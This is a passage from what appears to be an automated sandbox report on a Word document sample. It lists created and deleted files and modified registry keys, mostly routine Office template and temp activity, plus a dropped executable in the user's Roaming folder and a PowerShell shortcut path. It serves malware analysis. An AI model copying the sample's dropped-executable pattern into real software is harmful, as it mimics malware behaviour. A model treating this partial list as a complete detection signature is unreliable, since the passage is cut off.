  1091. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328905fn=Chevron Accent.glox",
  1092. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033921fn=Damask.thmx",
  1093. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001104fn=Feathered.thmx",
  1094. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCEA6.tmp\\Content.inf",
  1095. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457444fn=Basis.thmx",
  1096. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033929fn=Slate.thmx",
  1097. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM03998159fn=Insight.dotx",
  1098. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD34D.tmp",
  1099. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD31D.tmp\\content.inf",
  1100. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD31D.tmp\\Mesh.thmx",
  1101. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD3BB.tmp\\content.inf",
  1102. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD3BB.tmp\\Vapor_Trail.thmx",
  1103. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD504.tmp\\content.inf",
  1104. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457485fn=Mesh.thmx",
  1105. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033927fn=Main Event.thmx",
  1106. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033937fn=Vapor Trail.thmx",
  1107. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF2D2075A8-CA5B-4F82-8A57-90C94D2F5E01.tmp",
  1108. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\~$Normal.dotm",
  1109. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRSF177861B-7B01-4A16-8932-BC363F7356A0.tmp",
  1110. "C:\\Users\\user\\Documents\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk",
  1111. "\\??\\PIPE\\srvsvc",
  1112. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\CITKV41BR8ICYLMJUI87.temp",
  1113. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms",
  1114. "C:\\Users\\user\\AppData\\Roaming\\f5c6515f.exe"
  1115.  
  1116.  
  1117. * Deleted Files:
  1118. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA42C.tmp",
  1119. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA42D.tmp",
  1120. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Schemas\\MS Word_restart.xml",
  1121. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\",
  1122. "C:\\Users\\user\\AppData\\Local\\Temp\\CabB6B9.tmp",
  1123. "C:\\Users\\user\\AppData\\Local\\Temp\\TarB6BA.tmp",
  1124. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBA58.tmp",
  1125. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBAD6.tmp",
  1126. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBB65.tmp",
  1127. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBBC5.tmp",
  1128. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBBA5.tmp",
  1129. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBBD5.tmp",
  1130. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBBF7.tmp",
  1131. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBBE6.tmp",
  1132. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC07.tmp",
  1133. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC28.tmp",
  1134. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC49.tmp",
  1135. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC59.tmp",
  1136. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC6A.tmp",
  1137. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC8A.tmp",
  1138. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC9B.tmp",
  1139. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD2E.tmp",
  1140. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBCEB.tmp",
  1141. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD0C.tmp",
  1142. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD2D.tmp",
  1143. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD7E.tmp",
  1144. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD90.tmp",
  1145. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD7F.tmp",
  1146. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBDC0.tmp",
  1147. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBDD1.tmp",
  1148. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBDD2.tmp",
  1149. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBDF2.tmp",
  1150. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD8F.tmp",
  1151. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE03.tmp",
  1152. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE23.tmp",
  1153. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE34.tmp",
  1154. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE92.tmp",
  1155. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBEB4.tmp",
  1156. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBEA3.tmp",
  1157. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBA58.tmp\\sist02.xsl",
  1158. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBFED.tmp",
  1159. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC04C.tmp",
  1160. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC04D.tmp",
  1161. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAF18.tmp",
  1162. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC0DB.tmp",
  1163. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC169.tmp",
  1164. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBBD5.tmp\\pictureorgchart.glox",
  1165. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC264.tmp",
  1166. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAF9C.tmp",
  1167. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC3EC.tmp",
  1168. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBAD6.tmp\\mlaseventheditionofficeonline.xsl",
  1169. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAF4B.tmp",
  1170. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC5C2.tmp",
  1171. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC8A.tmp\\architecture.glox",
  1172. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC5B2.tmp",
  1173. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC612.tmp",
  1174. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBBC5.tmp\\TabbedArc.glox",
  1175. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAEA5.tmp",
  1176. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBDC0.tmp\\ThemePictureAccent.glox",
  1177. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBCEB.tmp\\Headlines.thmx",
  1178. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBB65.tmp\\iso690nmerical.xsl",
  1179. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBEB4.tmp\\Droplet.thmx",
  1180. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB1F7.tmp",
  1181. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD2E.tmp\\Parallax.thmx",
  1182. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB2F3.tmp",
  1183. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB335.tmp",
  1184. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC59.tmp\\gosttitle.xsl",
  1185. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB97D.tmp",
  1186. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBDD2.tmp\\VaryingWidthList.glox",
  1187. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBBE6.tmp\\Frame.thmx",
  1188. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBBA5.tmp\\Badge.thmx",
  1189. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC28.tmp\\iso690.xsl",
  1190. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD2D.tmp\\gb.xsl",
  1191. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB323.tmp",
  1192. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAE15.tmp",
  1193. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB3A3.tmp",
  1194. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD7E.tmp\\Metropolitan.thmx",
  1195. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD0C.tmp\\ThemePictureAlternatingAccent.glox",
  1196. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB60B.tmp",
  1197. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE03.tmp\\CircleProcess.glox",
  1198. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE92.tmp\\TabList.glox",
  1199. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE34.tmp\\HexagonRadial.glox",
  1200. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC6A.tmp\\ThemePictureGrid.glox",
  1201. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC07.tmp\\Equations.dotx",
  1202. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB3E4.tmp",
  1203. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAE16.tmp",
  1204. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAE03.tmp",
  1205. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB12A.tmp",
  1206. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC49.tmp\\Berlin.thmx",
  1207. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAEE5.tmp",
  1208. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAF07.tmp",
  1209. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBBF7.tmp\\Banded.thmx",
  1210. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB3C4.tmp",
  1211. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB796.tmp",
  1212. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB07D.tmp",
  1213. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAF29.tmp",
  1214. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE23.tmp\\ieee2006officeonline.xsl",
  1215. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC9B.tmp\\Dividend.thmx",
  1216. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAE14.tmp",
  1217. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC264.tmp\\rings.glox",
  1218. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB4FF.tmp",
  1219. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBDF2.tmp\\BracketList.glox",
  1220. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCAD6.tmp",
  1221. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD90.tmp\\Crop.thmx",
  1222. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAF7A.tmp",
  1223. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB334.tmp",
  1224. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB63B.tmp",
  1225. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD7F.tmp\\Circuit.thmx",
  1226. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD8F.tmp\\RadialPictureList.glox",
  1227. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC04D.tmp\\turabian.xsl",
  1228. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB95C.tmp",
  1229. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB1F6.tmp",
  1230. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC04C.tmp\\Text Sidebar (Annual Report Red and Black design).docx",
  1231. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBDD1.tmp\\Wood_Type.thmx",
  1232. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCC3F.tmp",
  1233. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAF3A.tmp",
  1234. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB237.tmp",
  1235. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB03D.tmp",
  1236. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCC8E.tmp",
  1237. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC612.tmp\\APASixthEditionOfficeOnline.xsl",
  1238. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAF28.tmp",
  1239. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC0DB.tmp\\ConvergingText.glox",
  1240. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAF9D.tmp",
  1241. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCD3B.tmp",
  1242. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBFED.tmp\\PictureFrame.glox",
  1243. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC5C2.tmp\\Element design set.dotx",
  1244. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAFAD.tmp",
  1245. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAFDD.tmp",
  1246. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCDE8.tmp",
  1247. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC0AC.tmp\\chicago.xsl",
  1248. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAEF6.tmp",
  1249. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCE66.tmp",
  1250. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC169.tmp\\InterconnectedBlockProcess.glox",
  1251. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCE86.tmp",
  1252. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCEA6.tmp",
  1253. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAF8B.tmp",
  1254. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCAD6.tmp\\Savon.thmx",
  1255. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC5B2.tmp\\gostname.xsl",
  1256. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBB16.tmp",
  1257. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAEE6.tmp",
  1258. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBEA3.tmp\\Quotable.thmx",
  1259. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB57D.tmp",
  1260. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCE66.tmp\\View.thmx",
  1261. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB06D.tmp",
  1262. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC3EC.tmp\\harvardanglia2008officeonline.xsl",
  1263. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAE27.tmp",
  1264. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCE86.tmp\\chevronaccent.glox",
  1265. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCDE8.tmp\\Damask.thmx",
  1266. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCC8E.tmp\\Feathered.thmx",
  1267. "C:\\Users\\user\\AppData\\Local\\Temp\\cabADB4.tmp",
  1268. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCD3B.tmp\\Basis.thmx",
  1269. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBD4E.tmp",
  1270. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCC3F.tmp\\Slate.thmx",
  1271. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBCFC.tmp",
  1272. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCEA6.tmp\\Insight design set.dotx",
  1273. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBC38.tmp",
  1274. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBC9C.tmp",
  1275. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB02C.tmp",
  1276. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD31D.tmp",
  1277. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD3BB.tmp",
  1278. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD504.tmp",
  1279. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD31D.tmp\\Mesh.thmx",
  1280. "C:\\Users\\user\\AppData\\Local\\Temp\\cabCA39.tmp",
  1281. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD504.tmp\\Main_Event.thmx",
  1282. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD3BB.tmp\\Vapor_Trail.thmx",
  1283. "C:\\Users\\user\\AppData\\Local\\Temp\\cabCF43.tmp",
  1284. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD34D.tmp",
  1285. "C:\\Users\\user\\AppData\\Local\\Temp\\~$cs_2f7aa1e921b9db69793389c136ce3734.doc",
  1286. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS44AD2FF2-FCFD-4E4D-B211-A7255556D3FD.tmp",
  1287. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\~$Normal.dotm",
  1288. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRSF177861B-7B01-4A16-8932-BC363F7356A0.tmp",
  1289. "C:\\Users\\user\\AppData\\Local\\Temp\\CVR9D65.tmp.cvr",
  1290. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF2D2075A8-CA5B-4F82-8A57-90C94D2F5E01.tmp",
  1291. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\CITKV41BR8ICYLMJUI87.temp",
  1292. "C:\\Users\\user\\AppData\\Roaming\\f5c6515f.exe",
  1293. "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\security.config.cch.2420.7553125",
  1294. "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\enterprisesec.config.cch.2420.7553125",
  1295. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config.cch.2420.7553125"
  1296.  
  1297.  
  1298. * Modified Registry Keys:
  1299. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\r4v",
  1300. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\VBAFiles",
  1301. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle",
  1302. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle\\ReviewToken",
  1303. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  1304. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  1305. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery",
  1306. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\74726A",
  1307. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\74726A\\74726A",
  1308. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingConfigurableSettings",
  1309. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastSyncTime",
  1310. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastWriteTime",
  1311. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\OUTLOOKFiles",
  1312. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Common\\Cloud Storage",
  1313. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ForceCacheRefresh",
  1314. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OnceSucceeded",
  1315. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  1316. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  1317. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT",
  1318. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Capabilities",
  1319. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ConnectMechanism",
  1320. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsManaged",
  1321. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsRemovable",
  1322. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceOwner",
  1323. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SortOrder",
  1324. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SupportsMultiple",
  1325. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\CapabilitiesMetadata",
  1326. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Description",
  1327. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Name",
  1328. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceId",
  1329. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceUrl",
  1330. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata",
  1331. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\KeyTip",
  1332. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\Type",
  1333. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails",
  1334. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url16x16",
  1335. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url32x32",
  1336. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url48x48",
  1337. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP",
  1338. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Capabilities",
  1339. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ConnectMechanism",
  1340. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsManaged",
  1341. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsRemovable",
  1342. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceOwner",
  1343. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SortOrder",
  1344. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SupportsMultiple",
  1345. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1346. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Description",
  1347. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Name",
  1348. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceId",
  1349. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceUrl",
  1350. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata",
  1351. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1352. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\Type",
  1353. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails",
  1354. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
